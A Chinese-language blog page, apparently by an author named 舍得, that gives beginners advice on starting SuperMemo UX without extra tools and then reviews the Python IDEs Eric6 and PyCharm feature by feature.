  • 如何制作课程?作为新手,建议不要去涉及高级的制作工具,如转换精灵之类。你现在要的是“入门”,而不是一下子成为“课程制作专家”。饭要一口口吃,路要一步步走,步子太大,容易扯着蛋。那么新手如何制作课程呢?直接进编辑模式逐页添加,这是最简单的方式。具体操作请看视频《如何制作课程》。在入门阶段,请暂时抛开所有对制作和辅助工具的念想,什么转换精灵、课程编辑器、课程助手……不要去想那么多,直接从学习入手!把自己的注意力聚集在学习本身,其它的内容,可以留到你对SuperMemo的使用足够熟悉之后,再抽空来了解。
  • 如何开始学习?舍得认为,对于刚入门的童鞋,不宜去折腾各种课程制作方面的工具。也无需去想手机上怎么用,直接从UX版开始即可。看起来拿着手机用碎片时间来学习是一件非常美好的事情,但若你认为你只有在手机上才肯开始学习,亲,你要解决的不是学习方法、学习工具这个层面的问题,而是自己的学习动力、学习动机的问题。关于如何使用SuperMemo UX,同样有现成的视频可以观看、学习:《SuperMemo UX软件使用基本流程》、《SuperMemo UX的评分标准》,其它的一些操作技巧上的内容,你可以通过舍得学苑发布的相关视频中学习。

掌握以上这点内容就够了!不要去想太多,既然说入门,就该好好掌握基本的操作,不要去想着把自己一下变成这个领域的专家级人物。

说入门难,可能是自己定位过高,想得太多……简单一些吧!眼下你需要的是用SuperMemo来提升你的学习效率,而不是花大把的时间去折腾工具。何苦让尚在入门阶段的你,背负太多本不需要加在你身上的包袱呢?watch movie Beautiful Accident now

记住,你不用去寻找各种各样的工具,除了SuperMemo UX软件和个别的课程,没有什么东西是需要你去下载的。

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Python主流IDE对比:Eric&nbsp;VS.&nbsp;PyCharm

IDE, 全称是Integrated Development Environment,翻译过来就是集成开发环境。Python的开发从2010年5月算起,不知不觉中,到现在已经是第七个年头。

这六年里,舍得最常用的IDE是Eric6(一开始是5.x版本),也试用过圈内闻名的PyCharm、WingIDE和Eclipse(+PyDev插件),算是有些心得。今天,着重对Eric6和PyCharm 2016.3作一下简单的评测。

颜值

Eric6是基于PyQt开发的,程序运行甚至只用一个BAT文件来调用,界面相对而言略丑。PyCharm基于Java开发,自带的主题很漂亮,风格比较统一。在颜值这一点上,无疑是PyCharm胜出。

顺带提一下WingIDE,虽然它也带了很多款主题,但整个窗口中有些部位是不受主题控制的。举个栗子,当你选择深色的主题时,窗口左下角往往会有一块白色的控件,忒刺眼。

速度和内存开销

从启动到打开一个项目,舍得掐着秒表测试了这几款IDE,数据如下:

  • 最慢的是PyCharm,平均需要18-20秒左右。就算把插件干掉只剩两个,再将Xms和Xmx参数适当调整,跑出最快的成绩是16秒5;
  • Eric平均只用11秒;
  • 最快的是WingIDE, 只用7秒;

内存开销上,PyCharm是大户,动辄就是吃掉你300-400MB的内存。机子内存小的童鞋要当心了!

UI和资源编译

开发过程中难免要对UI和资源文件进行调整,所以IDE中自然需要将这两项的编译工作集成进来。

Eric6是原生支持UI和资源文件编译的,它的开发者早就想到了我们需要这项功能。

PyCharm作为一个专业的Python IDE,在这方面无疑略显不足。要实现UI和资源编译,你必须手工在外部工具设置中添加它们(具体操作请自己去问度娘),虽然设置好之后和Eric6比也没啥区别,但总是开发者欠考虑。

不过PyCharm这个外部工具的设计还是值得赞赏的,你可以直接把打包命令(我通常用cx_freeze)直接整合进去,这样就方便多了。

调试

IDE中应当配备调试模块。舍得以前常在DOS命令行下运行开发中的程序,发现错误再切回IDE。现在想想实在是浪费了IDE自带的调试模块。

使用调试模块,首先带来的好处是你不必手工输入命令,也不必在DOS命令行和IDE间切来切去;其次,当遇到错误时,IDE的调试模块会直接显示出错误所在的位置,你不必再去手动寻找。当然调试模块的功能不止于此,具体如何,童鞋们可以自己去深入体会。

在调试方面,Eric6做得更好一些,在遇到错误时,它会自动跳到最终让你出错的位置,省时省力。PyCharm做法略嫌保守,它是在底部的“运行”窗口显示一系列出错的位置,每一个位置带有链接,点击链接即可跳到相应的行。舍得认为,不如在保留链接功能的前提下,自动跳到最后一行出错的位置,通常这一行是问题的关键。如果程序能够做得更智能一些则更好。

智能缩进

在Python的语法中,缩进是非常重要的一项。开发过程中,缩进若能更智能化一点,自然写代码的速度也会快一些。

在这方面,做得最优秀的是Eric6。它的牛x之处在于,无论你的光标键在哪个位置,只要你按TAB键,程序就会根据上面的代码选择合适的缩进位置。

PyCharm亦有类似的设计。它的智能缩进操作英文名叫Emacs Indent(建议将快捷键TAB设置给它),国内的汉化莫名其妙地翻译成了“宏选项卡”,这一定是外行人干的。

但Emacs Indent在处理整块缩进的时候略显无力,当我们要将整块代码往前移的时候,只能使用另一项叫作“取消缩进内容”的操作,而Eric6只要一个TAB键就足够了。

字体缩放

虽然我们可以在设置中给IDE的编辑器设一个特定的字号,但在实际开发中,还是免不了要适当缩放字体。尤其是大屏幕,字体适当放大一些,眼睛不至于那么遭罪。

字体的缩放这两款IDE都有。只不过,Eric6是早已设置好快捷键的(用Ctrl+=/-,或Ctrl+滚轮),而在PyCharm中,你必须手动设置这个快捷键。

这一轮,算打成平手好了。

自动补空格

PEP8的规范要求在逗号、运算符号之类的内容后面加一个空格,这一点Eric做得不错,在你输入一个逗号后,它会自动给你补一个空格,而PyCharm显然考虑得没有那么周到。你不得不手动一个个敲空格,或留着到最后使用Reformat File功能来纠正。

代码自动补全和代码规范化

两款IDE的代码自动补全做得都挺好。硬要挑出一个更好的来,我会把票投给PyCharm, 它的智能化程度似乎(我没法给出更精确的评价,建议自行体会)更高一些。

PyCharm除了自动补全,还会用类似拼写检查的方式检查你的代码,当你输入的代码不符合PEP8之类的规范时,PyCharm会适时提醒并对该部分代码作出标记。这个功能确实很贴心,我有理由相信用PyCharm会帮助我们将代码写得更加规范。

此外,PyCharm还会对当前方法下所用的变量进行检查,当有变量出现未使用、不一致、输入错误等情形时,PyCharm亦会将其一一标出,让你一目了然。

版本控制

版本控制也可算是IDE的标配了吧!Eric6和PyCharm都有版本控制的模块,不过舍得认为,PyCharm在这一块做得更细一些,和GibHub结合得很好,舍得用得很趁手。

数据库连接、查看

这项功能只能算是可选配置了。两款IDE都带有数据库内容浏览的功能,它的方便之处在于,我们要查看数据库中某项数据时,可以不必打开专用的数据库管理工具(比如SQLite的SQLite Expert, PostGreSQL的PG Admin,MySQL的PHPMyAdmin等),直接在IDE内查看。

Eric6自带一个内建的SQL浏览器,界面相对简陋,而且每次打开都必须重新设置,不够方便。

PyCharm是通过Database Tools and SQL这款插件来实现数据库连接和查看的功能,用来临时查看一下数据是足够了。

书签

在开发过程中,我们经常需要在一个文档中不同的位置间切换,此时书签功能会给我们带来很大的便利。

两款IDE都有书签功能,PyCharm做得更好一点,它的书签不会因为你退出程序而清除。而Eric6则会在你每次退出程序时,清空你的书签设置。

TODO

舍得在堆代码的时候,想到一些下一步要完善的功能之类的内容时,往往会在文档中插入一行,行首写上“# todo,”,然后把当时的想法写进去。这样日后就能根据todo的标记和内容来逐渐完善自己所开发的软件。

两款IDE都支持Todo功能,它们会把你在当前项目中的每一行标有todo的内容都搜集起来,以供你随时查看。只是在功能的完善性上,略有差距:

  • PyCharm在你输入“# todo,”的时候就将这一行进行高亮处理,让它变得非常醒目,Eric6默认是不会对“# todo,”作高亮处理的;
  • PyCharm的todo支持大小写,Eric6默认只支持大写,要想支持不同的格式,需要单独设置;

相比之下,PyCharm以微弱的优势胜出。

帮助文档

Eric6自带一个WebKit内核的帮助浏览器,当你设置好Python/PyQt/Pyside/Qt等帮助文档的路径后,可以在帮助菜单中直接点击这些文档的链接,Eric6就会调用帮助浏览器来显示这些文档。

PyCharm虽然有一个外部文档的设置和对应的菜单命令,但功能实在太弱比,应该好好完善一下才是。

另外PyCharm虽然提供了一个Search EveryWhere的“强大”功能,但由于搜索结果匹配往往不能尽如人意,使得此功能形如鸡肋。

结语

通过上面的比较和分析,相信大家自会得出自己的答案。简单说一下舍得的观点:

  • 如果你是个颜控,请选择PyCharm;
  • 如果你的电脑配置略低(尤其是内存),跑PyCharm感觉慢、卡,请选择Eric6;
  • 大多数功能,这两款IDE都大同小异。舍得最介意的是,PyCharm没法在逗号后居然不能自动补空格,希望开发者能在后续的版本中进一步完善;
  • 至于很多仍在使用非IDE(比如用vim、emacs、sublime text之类的编辑器)的童鞋,舍得的建议是,IDE可以让你的开发效率更高。看上去你用这些编辑器也能完成大部分工作,但别忘了,你费尽九牛二虎之力搞定各种插件的同时,IDE上这些功能早就已经非常成熟了,何必自己再去造轮子呢?

 

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作者:舍得
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